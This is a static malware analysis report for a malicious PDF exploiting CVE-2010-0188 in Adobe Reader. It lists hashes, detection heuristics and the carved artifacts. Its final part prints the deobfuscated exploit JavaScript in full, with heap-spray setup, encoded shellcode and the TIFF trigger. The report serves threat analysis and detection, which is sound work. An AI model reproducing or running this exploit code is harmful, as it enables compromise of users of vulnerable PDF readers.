Malicious PDF — malware analysis report

Static analysis result for SHA-256 cdee95fabb60e6f2…

MALICIOUS

PDF

12.0 KB First seen: 2012-10-03
MD5: 73b4268e397626da243b9752c896c386 SHA-1: 7e06ce043bcbe56365be3730939387ab7398b618 SHA-256: cdee95fabb60e6f291e2980f334119109de2e5e78d25f609f226d23bcff02d7d
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains an embedded script payload, indicated by the PDF_EMBEDDED_SCRIPT_PAYLOAD heuristic. The document body contains JavaScript-like syntax, suggesting an attempt to execute malicious code. The embedded script likely aims to exploit a PDF vulnerability to download and execute a second-stage payload. The presence of XFA form elements also points to potential exploitation vectors.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11587 bytes
SHA-256: 980b4529912fe9bca69250e74c57fad569fd4d99e48207d069c21756dd025cc7
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3414 bytes
SHA-256: 3f67860e5c049775b0806084ef566b38d0d86ae3360eba39c54281fde3525ce3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9620100008b342489f7803ee97406ac3405aae2fac3e8e5ffffffec090405055b84e9590405058ce2884a15886a5134de5254565656565656565056566d010405055053566d6a6b05056d70776968516d8b4b0be9ed4d05050555ed79050505fad586c10d6d4aea4a0055ed69050505fad580c570126f515cf6af6d77fbb613ed1805050555ed54050505fad5566ffb6d8c6a04b8ed0d05050555ed39050505fad56534c5618e55358e57098e57118e772dbc1d05050534fa34c5a9396479072925c4ca0804c2e7f584fa5eb94f6f8e47158e1770dc8c41211964c6658e6921218e40398e51007d04ef8e4f1d8e5f2504eee6314c8e318e04eb34fa34c5f9a981c57102c4ca0804c2eef13e79212d70e48e5f2104ee638e094e8e5f1904ee8e018e04ed8c41211964c70d05edeafbfafa6d7171753f2a2a3c342b343c312b3734312b333d2a7168717168717c2a663c673530333d663336613361373c3c37356435663d333633316036646030372a6134342b756d753a63386967630590';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9620100008b342489f7803ee97406ac347faae2fac3e8e5ffffff96737e7f7f21fe93237e7f7ff698f2306ff2102b4ea4282e2c2c2c2c2c2c2c2a2c2c177b7e7f7f2a292c1710117f7f170a0d13122b17f131719397377f7f7f2f97037f7f7f80affcbb77173090307a2f97137f7f7f80affabf0a68152b268cd5170d81cc6997627f7f7f2f972e7f7f7f80af2c158117f6107ec297777f7f7f2f97437f7f7f80af1f4ebf1bf42f4ff42d73f42d6bf40d57c6677f7f7f4e804ebfd3431e037d535fbeb0727eb89d8ffe8024c33515f43d6ff46d0aa6f63b5b631ebc1ff4135b5bf43a43f42b7a077e95f43567f4255f7e949c4b36f44bf47e914e804ebf83d3fbbf0b78beb0727eb8948b44035b570a9ef4255b7e9419f47334f425637e94f47bf47e97f63b5b631ebd777f9790818080170b0b0f455050464e514e464b514d4e4b514947500b120b0b120b06501c461d4f4a49471c494c1b491b4d46464d4f1e4f1c47494c494b1a4c1e1a4a4d501b4e4e510f170f401942131d197f90';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}

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